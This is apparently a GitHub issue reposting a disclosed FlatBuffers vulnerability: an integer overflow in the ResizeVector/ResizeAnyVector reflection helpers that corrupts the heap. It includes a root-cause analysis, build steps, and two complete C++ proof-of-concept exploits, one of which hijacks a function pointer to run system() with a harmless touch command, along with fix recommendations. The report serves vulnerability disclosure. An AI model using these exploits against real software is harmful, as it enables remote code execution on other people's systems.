-
Notifications
You must be signed in to change notification settings - Fork 3.4k
Description
I opened a Security issue for this specific one but seems that is inteneded behaviour and would like to understand the reasons behind it.
this was the explaination
Status: Won't Fix (Intended Behavior)
Hi! Although it may come as a surprise, this is actually working as intended. Flatbuffers assume the input data validation is happening outside of the library.
Thanks again for your report and time,
The Google Bug Hunter Team
Link here: https://issuetracker.google.com/issues/458313679#comment3
This was my response:
Hey,
Not an issue at all. Personally i think this still need to be fixed because the issue is inside the library, and even tho you explained that should be controlled by the user, me as user assume that internals of whatever im using is safe (never test a library!)
The input validation happening outside the library, not so sure, in the sense, if we are allowing that behaviour in the library there should be an explaination, and frankly i don't see one that is strong enough to leave that check unbounded.
Point of views anyway :D
Best,
Giuseppe
FlatBuffers Reflection ResizeVector Heap Corruption → RCE
Summary
Exposure note: The vulnerable helpers (ResizeVector / ResizeAnyVector) live in the reflection API and are usually only reachable in tooling or admin interfaces. Typical FlatBuffers consumers do not expose these calls directly to untrusted users. Reproduction therefore assumes an environment where an attacker can influence reflection-driven resizing (e.g., malicious plugins, automation, or internal tooling).
- Target: google/flatbuffers
ResizeVector/ResizeAnyVectorreflection helpers - Commit tested:
599847236c35fa3802ea4e46e20e93a55d3a4a94(master, unreleased) - Impact: Critical – attacker-controlled
newsizevalues corrupt heap metadata and enable code execution - Release status: Bug exists in public releases since commit
7101224d8(2015‑07‑31); still present in tagv25.9.23 - Reproduction status: Confirmed with AddressSanitizer crash and live function-pointer hijack producing
/tmp/flatbuffers_rce_success - Artifacts: All reproduction materials (exploit code, logs, scripts) are included with this report
Root Cause
ResizeAnyVector stores length deltas in 32-bit signed intermediates:
auto delta_elem = static_cast<int>(newsize) - static_cast<int>(num_elems);
auto delta_bytes = delta_elem * static_cast<int>(elem_size);For large newsize (e.g. 0x40000003) and 8-byte elements, delta_elem is positive but delta_bytes wraps negative. The helper then:
- Shrinks the buffer (
std::vector::erase) because of the negativedelta_bytes. - Still executes
memset(flatbuf->data() + start, 0, static_cast<size_t>(delta_elem) * elem_size);, issuing multi-gigabyte writes past the allocation.
ResizeVector subsequently iterates over the corrupted region, writing attacker-chosen values (e.g. addresses) into the overflow, enabling straight-line code execution when those pointers are consumed.
Relevant implementation fragment (`src/reflection.cpp`)
uint8_t* ResizeAnyVector(const reflection::Schema& schema, uoffset_t newsize,
const VectorOfAny* vec, uoffset_t num_elems,
uoffset_t elem_size, std::vector<uint8_t>* flatbuf,
const reflection::Object* root_table) {
auto delta_elem = static_cast<int>(newsize) - static_cast<int>(num_elems);
auto delta_bytes = delta_elem * static_cast<int>(elem_size);
auto vec_start = reinterpret_cast<const uint8_t*>(vec) - flatbuf->data();
auto start = static_cast<uoffset_t>(vec_start) +
static_cast<uoffset_t>(sizeof(uoffset_t)) +
elem_size * num_elems;
if (delta_bytes) {
if (delta_elem < 0) {
auto size_clear = -delta_elem * elem_size;
memset(flatbuf->data() + start - size_clear, 0, size_clear);
}
ResizeContext ctx(schema, start, delta_bytes, flatbuf, root_table);
WriteScalar(flatbuf->data() + vec_start, newsize);
if (delta_elem > 0) {
memset(flatbuf->data() + start, 0,
static_cast<size_t>(delta_elem) * elem_size);
}
}
return flatbuf->data() + start;
}Release Status & History
git describeon the test workspace:v25.9.23-13-g59984723(currentmasteris 13 commits beyond the last official release).- The vulnerable arithmetic (
delta_elem/delta_bytes) dates back to commit7101224d8(2015-07-31), so every release since then—includingv25.9.23—ships the flaw.
Reproduction
All commands executed on the dedicated Lima VM pruva-repro-20251106-072125-3d37fa2f.
1. Environment / Build
sudo apt-get update
sudo apt-get install -y build-essential clang lld cmake ninja-build git python3 python3-pip
git clone https://github.com/google/flatbuffers.git
cd flatbuffers
git reset --hard 599847236c35fa3802ea4e46e20e93a55d3a4a94
cmake -S . -B build -G Ninja \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
ninja -C build flatbuffersRelease build (for the exploit harness):
cmake -S . -B build-release -G Ninja -DCMAKE_BUILD_TYPE=RelWithDebInfo
ninja -C build-release flatbuffers2. ASan Heap Corruption Proof
Source code: exploit_resize_asan.cpp (included with this report)
ASan crash output
Resizing to 2147483648
==12642==ERROR: AddressSanitizer: unknown-crash on address 0x10001858029b4
WRITE of size 8589934584 at 0x10001858029b4 thread T0
#1 flatbuffers::ResizeAnyVector(...)/src/reflection.cpp:632
Command executed:
clang++ -std=c++17 exploit_resize_asan.cpp -Iinclude -Itests -Lbuild -lflatbuffers \
-fsanitize=address -fno-omit-frame-pointer -g -O1 -o exploit_resize_asan
ASAN_OPTIONS=detect_container_overflow=1,detect_leaks=0 ./exploit_resize_asanExploit source (`exploit_resize_asan.cpp`)
#include <cstdint>
#include <iostream>
#include <string>
#include <vector>
#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/reflection_generated.h"
#include "flatbuffers/util.h"
#include "monster_test_generated.h"
int main() {
std::string bfbs;
if (!flatbuffers::LoadFile("tests/monster_test.bfbs", true, &bfbs)) {
std::cerr << "Failed to load tests/monster_test.bfbs" << std::endl;
return 1;
}
const reflection::Schema &schema = *reflection::GetSchema(bfbs.c_str());
const auto *fields = schema.root_table()->fields();
const auto *field = fields->LookupByKey("testarrayofstring");
if (field == nullptr) {
std::cerr << "Field testarrayofstring not found" << std::endl;
return 1;
}
flatbuffers::FlatBufferBuilder builder;
auto name = builder.CreateString("overflow");
uint8_t inv[] = {0, 1, 2, 3, 4};
auto inventory = builder.CreateVector(inv, sizeof(inv));
std::vector<flatbuffers::Offset<flatbuffers::String>> strings;
strings.push_back(builder.CreateString("foo"));
strings.push_back(builder.CreateString("bar"));
auto string_vec = builder.CreateVector(strings);
MyGame::Example::MonsterBuilder mb(builder);
mb.add_name(name);
mb.add_inventory(inventory);
mb.add_testarrayofstring(string_vec);
auto monster = mb.Finish();
builder.Finish(monster);
auto released = builder.Release();
std::vector<uint8_t> resizingbuf(released.data(), released.data() + released.size());
auto *root = reinterpret_cast<flatbuffers::Table *>(flatbuffers::GetAnyRoot(resizingbuf.data()));
auto *vec = const_cast<flatbuffers::Vector<flatbuffers::Offset<flatbuffers::String>> *>(
flatbuffers::GetFieldV<flatbuffers::Offset<flatbuffers::String>>(*root, *field));
if (vec == nullptr) {
std::cerr << "Failed to resolve vector field" << std::endl;
return 1;
}
const uint32_t newsize = 0x80000000u;
std::cout << "Resizing to " << newsize << std::endl;
flatbuffers::ResizeVector<flatbuffers::Offset<flatbuffers::String>>(
schema, newsize, 0, vec, &resizingbuf);
return 0;
}3. Remote-Code-Execution Primitive
Source code: exploit_rce.cpp (included with this report)
Harness design: Multi-threaded poll to catch the corrupted function pointer early
RCE execution output
Buffer capacity: 8606711960 bytes
Vector payload offset: 112
Planned memset length: 8589934616
Function slot before: 0xaaaacf4b3ce8
Triggering overflow with newsize=1073741827
Observed system pointer; executing payload...
Payload executed.
Exiting process after payload execution.
-rw-rw-r-- 1 g g 0 Nov 6 09:07 /tmp/flatbuffers_rce_success
Command executed:
clang++ -std=c++17 exploit_rce.cpp -Iinclude -Itests -Lbuild-release -lflatbuffers -O1 -pthread -o exploit_rce
rm -f /tmp/flatbuffers_rce_success
ulimit -Sv unlimited
./exploit_rce
ls -l /tmp/flatbuffers_rce_successPayload evidence: The exploit successfully created /tmp/flatbuffers_rce_success, demonstrating arbitrary code execution via function pointer hijacking.
Exploit source (`exploit_rce.cpp`)
#include <atomic>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <new>
#include <string>
#include <thread>
#include <vector>
#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/reflection_generated.h"
#include "flatbuffers/util.h"
#include "monster_test_generated.h"
int main() {
std::string bfbs;
if (!flatbuffers::LoadFile("tests/monster_test.bfbs", true, &bfbs)) {
std::cerr << "Failed to load tests/monster_test.bfbs" << std::endl;
return 1;
}
const reflection::Schema &schema = *reflection::GetSchema(bfbs.c_str());
const auto *fields = schema.root_table()->fields();
const auto *field = fields->LookupByKey("vector_of_longs");
if (field == nullptr) {
std::cerr << "Field vector_of_longs not found" << std::endl;
return 1;
}
flatbuffers::FlatBufferBuilder builder;
auto name = builder.CreateString("rce-monster");
int64_t longs_init[2] = {0x1111111111111111LL, 0x2222222222222222LL};
auto vec_longs = builder.CreateVector(longs_init, 2);
MyGame::Example::MonsterBuilder mb(builder);
mb.add_name(name);
mb.add_vector_of_longs(vec_longs);
auto monster = mb.Finish();
builder.Finish(monster);
const uint32_t trigger_size = 0x40000003u;
const size_t delta_bytes = static_cast<size_t>(trigger_size) * sizeof(int64_t);
const size_t reserve_bytes = delta_bytes + builder.GetSize() + (1ull << 24);
std::vector<uint8_t> buf;
buf.reserve(reserve_bytes);
buf.insert(buf.end(), builder.GetBufferPointer(),
builder.GetBufferPointer() + builder.GetSize());
auto *table = reinterpret_cast<flatbuffers::Table *>(flatbuffers::GetAnyRoot(buf.data()));
auto longs_vec = flatbuffers::GetFieldV<int64_t>(*table, *field);
if (longs_vec == nullptr) {
std::cerr << "Failed to resolve vector field" << std::endl;
return 1;
}
const auto vec_start = reinterpret_cast<const uint8_t *>(longs_vec) - buf.data();
const auto start_offset = vec_start + sizeof(flatbuffers::uoffset_t) +
sizeof(int64_t) * longs_vec->size();
std::cout << "Buffer capacity: " << reserve_bytes << " bytes" << std::endl;
std::cout << "Vector payload offset: " << start_offset << std::endl;
std::cout << "Planned memset length: " << delta_bytes << std::endl;
auto *slot_addr = reinterpret_cast<uint64_t *>(buf.data() + start_offset);
auto benign = +[](const char *cmd) -> int {
std::cout << "benign handler: " << cmd << std::endl;
return 0;
};
auto *slot_atomic = reinterpret_cast<std::atomic<uint64_t> *>(slot_addr);
new (slot_atomic) std::atomic<uint64_t>(reinterpret_cast<uint64_t>(benign));
const char *payload = "touch /tmp/flatbuffers_rce_success";
auto system_ptr = &system;
const uint64_t target = reinterpret_cast<uint64_t>(system_ptr);
std::atomic<bool> worker_done{false};
bool payload_fired = false;
std::cout << "Function slot before: 0x" << std::hex
<< slot_atomic->load(std::memory_order_relaxed) << std::dec << std::endl;
std::cout << "Triggering overflow with newsize=" << trigger_size << std::endl;
std::thread worker([&]() {
flatbuffers::ResizeVector<int64_t>(schema, trigger_size,
reinterpret_cast<int64_t>(system_ptr),
const_cast<flatbuffers::Vector<int64_t> *>(longs_vec),
&buf);
worker_done.store(true, std::memory_order_release);
});
while (true) {
uint64_t cur = slot_atomic->load(std::memory_order_acquire);
if (cur == target) {
payload_fired = true;
std::cout << "Observed system pointer; executing payload..." << std::endl;
auto fn = reinterpret_cast<int (*)(const char *)>(cur);
fn(payload);
std::cout << "Payload executed." << std::endl;
break;
}
if (worker_done.load(std::memory_order_acquire)) {
break;
}
std::this_thread::yield();
}
if (payload_fired) {
std::cout << "Exiting process after payload execution." << std::endl;
std::quick_exit(0);
}
if (worker.joinable()) worker.join();
std::cout << "Worker finished without triggering payload." << std::endl;
return 0;
}4. Turnkey Script
Automation: reproduction_steps.sh (included with this report) automates the entire workflow: dependency installation, ASan/release builds, ASan crash demonstration, and RCE exploit execution. All output is captured to individual log files for verification.
Exploitability Analysis
- Vulnerable path sits solely behind reflection helpers (
flatbuffers::ResizeVector/ResizeAnyVector). - Any host that exposes “resize vector” operations on flatbuffers to untrusted input (e.g., admin tooling, live editors, scripting APIs) can be coerced into this overflow with
newsize >= 0x40000003for 8-byte elements (strings, offsets, tables, int64). - Once triggered, the helper overwrites adjacent allocations with attacker-specified 64-bit values. We showed this by redirecting a function pointer to
libc::system.
Recommendations
- Fix: Promote all arithmetic to 64-bit and cap
newsizebefore reallocating. Reject any resize that would overflowsize_toropts.max_size. - Defensive: Add explicit overflow checks in
ResizeAnyVectorand bail out instead of performing the resize. - Test: Add regression coverage around large
newsizevalues to guarantee the helper fails gracefully. - Advisory: Notify downstream consumers that expose reflection editing so they can audit inbound size limits or sandbox dangerous operations.
References
- Vulnerable implementation:
src/reflection.cpplines 611-634 in the FlatBuffers repository - Public API:
include/flatbuffers/reflection.hlines 459-466 - Proof-of-concept code:
exploit_resize_asan.cppandexploit_rce.cpp(included with this report) - Reproduction script:
reproduction_steps.sh(included with this report) - Commit tested:
599847236c35fa3802ea4e46e20e93a55d3a4a94from https://github.com/google/flatbuffers
This vulnerability was confirmed on a dedicated Lima VM (pruva-repro-20251106-072125-3d37fa2f). All reproduction steps are fully automated and idempotent via the included reproduction_steps.sh script.